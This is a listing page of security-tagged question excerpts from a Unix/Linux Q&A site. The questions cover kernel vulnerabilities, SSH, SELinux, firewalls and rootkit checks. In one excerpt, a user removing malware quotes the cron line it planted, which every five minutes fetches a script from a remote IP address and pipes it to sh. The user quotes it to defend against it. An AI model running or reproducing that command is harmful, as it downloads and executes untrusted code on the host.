Questions tagged [security]

Content related to computer security., i.e. content about policies, mechanisms, etc. needed make sure data is not leaked or corrupted and services available in all circumstances.

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0answers
135 views

What is the in depth explanation of Dirty COW vulnerability (CVE-2016-5195)? [closed]

I'm writing a report for a university assignment about the Dirty COW vulnerability that was discovered last October (CVE-2016-5195). I grasp most of how the attack takes place. However I have found ...
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1answer
74 views

when update kernels do they close bugs?

When I upgrade my kernel to latest stable one which is 3.12.2, does it close all security bugs? How linux security bugs be closed? by installing newer kernel or how ??and who closes these bugs?
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5answers
17k views

Shell Script mktemp, what's the best method to create temporary named pipe?

I'm aware its best to create temporary files with mktemp, but what about named pipes? I prefer things to be as POSIX compliant as possible, but Linux only is acceptable. Avoiding Bashisms is my only ...
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7answers
62k views

OpenVPN - Socket bind failed on local address [AF_INET] IP:1194: Cannot assign requested address

How get it resolved? I am trying to start the openVPN server so that I can login remotely using username: demo and password: demo, but openVPN server is failing to start. What am I doing wrong? How ...
0
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2answers
495 views

How do I stop KWallet from asking my password to let the system connect to WiFi?

I've just switched to KDE and although I feel interested in exploring the opportunity to use KWallet for all kids of cryptographic key/certificate files and some browser passwords perhaps if it can do ...
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0answers
37 views

Why is a critical security patch in chromium/F29 still open after two weeks time? [closed]

I am running a daily updated F29 and still have the old, vulnerable chromium package (Version 71.0.3578.98 (Developer Build) Fedora Project (64-bit)). Google warned (3/1/2019) to upgrade asap because ...
21
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2answers
122k views

SSH key-based authentication: known_hosts vs authorized_keys

I read about setting up ssh keys in Linux and have some questions. Correct me if I'm wrong… Let's say host tr-lgto wants to connect to host tr-mdm using ssh. If we want to be sure that it's the real ...
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0answers
32 views

SSH - root login disabled, password disabled. Still need a complex root password for local sessions?

If this computer's openssh server requires keys for SSH logins, do I still need to have a complex password? Given that this is a private single-user computer in a secure building.
6
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1answer
624 views

How is the authenticity of Debian packages guaranteed?

What security systems and processes are in place to prevent malicious third parties from hacking/compromising the security of code in the Debian mirrors, or to verify that the packages we get are in ...
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3answers
385 views

Is system call the only way that a user program can intentionally affect the state of a Linux kernel?

I think there are several ways that a user program can intentionally affect the state of a Linux kernel. By invoking a system call; By invoking mmap() and writing the memory that has been mapped to ...
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2answers
74 views

Reading and writing data temporarily without using the filesystem

I'm using ansible in a vagrant environment managing a debian box. Due multiple ansible provisioners with vault encrypted data (e. g. database root password) I have to enter the vault password once by ...
0
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1answer
67 views

is it possible to detect ssh activity on port 443

I would like to detect the usage of ssh on port 443 on a linux gateway. A kind of counter measure against stuff like sslh. I think netfilter and iptables would be the solution, but can't find module ...
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0answers
23 views

Can some or all profile/login scripts be bypassed on local console login?

The situation I'm thinking of is that something in /etc/profile or ~/.profile or ~/.login or similar is causing you to be logged out immediately or some other problem/mischief, and you're at a text-...
0
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1answer
140 views

How to Disable Kernel module installation capability in Unix Based operating system?

As we are living in the Linux kernel rootkit era, Is there any way to Disable any additional module to load into operating system kernel by any user or any operation or command , in Unix? some sort of ...
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1answer
277 views

Disallow change of init kernel parameter

is there any way to disallow changing init parameter on boot time? I want to prevent situation when someone reboot my server, edit grub entry and get access without password. Maybe some kernel ...
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3answers
128 views

IPtables installation question

I have an excellent book called "Linux Firewalls: Attack Detection and Response" by Michael Rash. I have a few questions before I begin. I want to make an enterprise grade iptables Firewall and was ...
1
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1answer
162 views

How to track who added sudo privilege to a user

I have a LDAP user named "ciadmin" created on the Red Hat based system without sudo privlidges. Somehow this user now has sudo privileges and can basically become root on the system. I want to track ...
0
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1answer
280 views

acedemic projects related to linux virtualization and security [closed]

I am B.tech student iam totally confused with the topic virtualization. but i selected linux virtualization security as a project in my college. i tried in google but i found so many virtualization ...
0
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1answer
293 views

Update the glibc package Error

I was asked to fix the vulnerabilities for RHEL 7: GLIBC(RHSA-2018:3092). Based on the output given by Nessus. Remote package installed : glibc-2.17-222.el7 Should be : glibc-2.17-260....
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1answer
491 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
1
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1answer
34 views

Can the Samba security setting `wide links` be bypassed using a race condition?

Apache has options FollowSymLinks and SymLinksIfOwnerMatch. However, they "should not be considered a security restriction, since symlink testing is subject to race conditions that make it ...
2
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0answers
112 views

How does the rsync symlink exploit work?

munge symlinks [...] The way rsync disables the use of symlinks is to prefix each one with the string "/rsyncd-munged/". This prevents the links from being used as long ...
3
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1answer
118 views

Someone Remote Executing a Script On My Server

I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. ...
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0answers
244 views

SELinux is preventing /usr/sbin/nginx from execute access on the file /etc/ld.so.cache

I'm getting a weird SElinux issue where if I restart Nginx with sudo systemctl restart nginx and SElinux is enforcing the server jams up causing the website to crash and the servers CPU hits 70 - 90 ...
0
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1answer
55 views

SElinux and TCP Traceroute

I need to run a TCP Traceroute in the browser but are getting a few SElinux alerts. I have tried creating a policy with audit2allow, e.g ausearch -c 'traceroute' --raw | audit2allow -M my-traceroute ...
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1answer
120 views

Why does first yum update on CentOS 7 ask to accept keys

I ran yum update on a newly built machine. Why does it ask to accept keys? Is it safe to accept the keys? base/7/x86_64/signature ...
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0answers
32 views

lastb output empty even after 3 failed login (su) attempts

On one terminal root@Andromeda:~# lastb btmp begins Sat Mar 2 10:03:44 2019 On another one: $ sudo su - [sudo] password for pkaramol: Sorry, try again. [sudo] password for pkaramol: Sorry, try ...
4
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2answers
142 views

secure read-only self hosted git repository for scripts

I need to build a git server where certain users have a read-write access to the repository and management server running certain scripts using this repository has the read only access to the same ...
0
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1answer
21 views

restrictions on a directory on shared server

I have 1 directory on a Unix server which is accessible to all currently as users logged in user name is common but they logged in to that user via sudo su -iu. I want only 10 users to have access on ...
6
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3answers
154 views

Secure variables protected by Linux kernel

Is there a possibility to place variables under the custody of the Linux kernel? E.g. counters that may only be incremented, variables that can be written to but only read after authentication. ...
81
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8answers
210k views

How to create SHA512 password hashes on command line

In Linux I can create a SHA1 password hash using sha1pass mypassword. Is there a similar command line tool which lets me create sha512 hashes? Same question for Bcrypt and PBKDF2.
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1answer
510 views

Security in seahorse

Being quite a new user (Mint 18.1), I'm a bit abashed by the behaviour between seahorse and the applications that request a password from the wallet. In my case, the ownCloud client asks to store my ...
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1answer
82 views

How can you secure a server? [closed]

A while ago, I ran a vino server inside my local wifi network, and the vino server wrote messages on stdout that some strange IPs from the Internet tried to connect to it. I wondered, "Is my server ...
0
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1answer
97 views

Firewall-like software for udev usb devices?

O.MG Cable is here and the way technology is going, more of those devices will be available to the common user. This kind of USB attack isn't new and there is plenty of devices out there ready to do ...
4
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2answers
2k views

Best way to encrypt my system on an ssd

I consider to buy an ssd for my laptop (something like Samsung 830 or 840) to make the system more responsive. I want my system (at least my home partition) to be encrypted. However I know about ...
4
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1answer
49 views

How do I simulate /proc/sys/kernel/grsecurity/deny_new_usb without grsecurity?

How do I flexibly enable and disable plugging in new USB devices (running driver code responsible for those devices) at runtime without Grsecurity patch? Are there other approaches or alternative ...
0
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1answer
489 views

How to be safe against CVE-2019-8912?

I've read in news that there is a new Kernel bug https://security-tracker.debian.org/tracker/CVE-2019-8912 Is it safe to use my PC until it gets fixed ? Can someone use this exploit to steal my paypal ...
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0answers
50 views

Allow sudo su - only to one user

Allow sudo su - on visudo only to one or some users of a group that access by ldap For example, I have visually defined the following: % dev ALL = (ALL) ALL What I need is that only some users or ...
3
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1answer
227 views

how to find ssh key in audit log file?

i've created ssh key for connecting two host (client 192.168.4.107 and server 192.168.4.106). on client-machine i've run this command and ssh connection works: ssh-keygen ssh-copy-id -i /root/.ssh/...
0
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0answers
54 views

System wide default-deny (process whitelisting) via AppArmor

I wanted a quick check to see if my understanding of AppArmor is correct. AppArmor by default confines only those applications that have profiles defined. Any other application that tries to run ...
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2answers
5k views

Safety of SMB versus SFTP

I have a server with OpenSSH enabled. I use it to make distant backups. I mainly use rsync over SSH and SFTP. I understood that these protocols are quite safe. I am interested in enabling Samba share ...
0
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1answer
312 views

Open file limits not increased for redis user despite change in /etc/security/limits.conf

I got ERR max number of clients reached from my redis server so I decidied to increase the allowed max client connections in its configuration. This also requires according to the documentation, ...
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1answer
35 views

Scientific Linux 7x - Too much system hardening!

Some Linux users like my company build Linux servers to use on factory production lines. We write software to load BIOS and FLASH memory and test our products. We constantly need to reboot these ...
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1answer
205 views

How to reset entire system permissions back to default in Linux?

I found I've a kind of messed up most part of my system permissions. Some places that only owner should have access is now exposed to world. How can I reset the folder permissions to default like i ...
0
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1answer
295 views

rkhunter found 7 possible rootkits

Today I installed Ubuntu 18.10 and ran rkhunter on it. At first it said that there are 4 possible rootkits, but after second check it detected 7. During checking there was everything green and ok, ...
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1answer
50 views

Firewall software similar to Outpost for linux

I'm corrently using Windows for my machines with Outpost firewall(Agnitum), but want to switch for linux(not sure what disto yet) and would love to know from you what are my options with linux's ...
0
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1answer
31 views

MESSAGE=anthony … USER=root <— Does this mean that the root user is the actual user but “anthony” will be displayed as being the user anyway?

I found this in /run/log/journal/... MESSAGE=anthony : TTY=pts/10 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/find / -name *systemctI* I'm wondering what this means? I'm suspicious of this process "...
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1answer
80 views

Protecting an email-proxy (Gmail) account being used by a Mail Transfer Agent (MTA)

On Debian LAMP with different PHP based CMSs I use the MTA sSMTP to send email via an email proxy (Gmail); the emails I send are only contact-form inputs transferred from any such CMS to my own email ...
2
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0answers
22 views

yum list-security no longer reports package as needing security update

We have an audit system that, daily, tracks packages in need of a security update using: yum list-security --security -q 2 For better or worse, some machines are not patched timely or missed, or are ...
7
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1answer
5k views

What is the severity of the new bash exploit (shellshock)? [duplicate]

I've been reading up about the remote bash exploit and was wondering how severe it is and if I should be worried, especially since a new exploit has been found after the patch release. What does this ...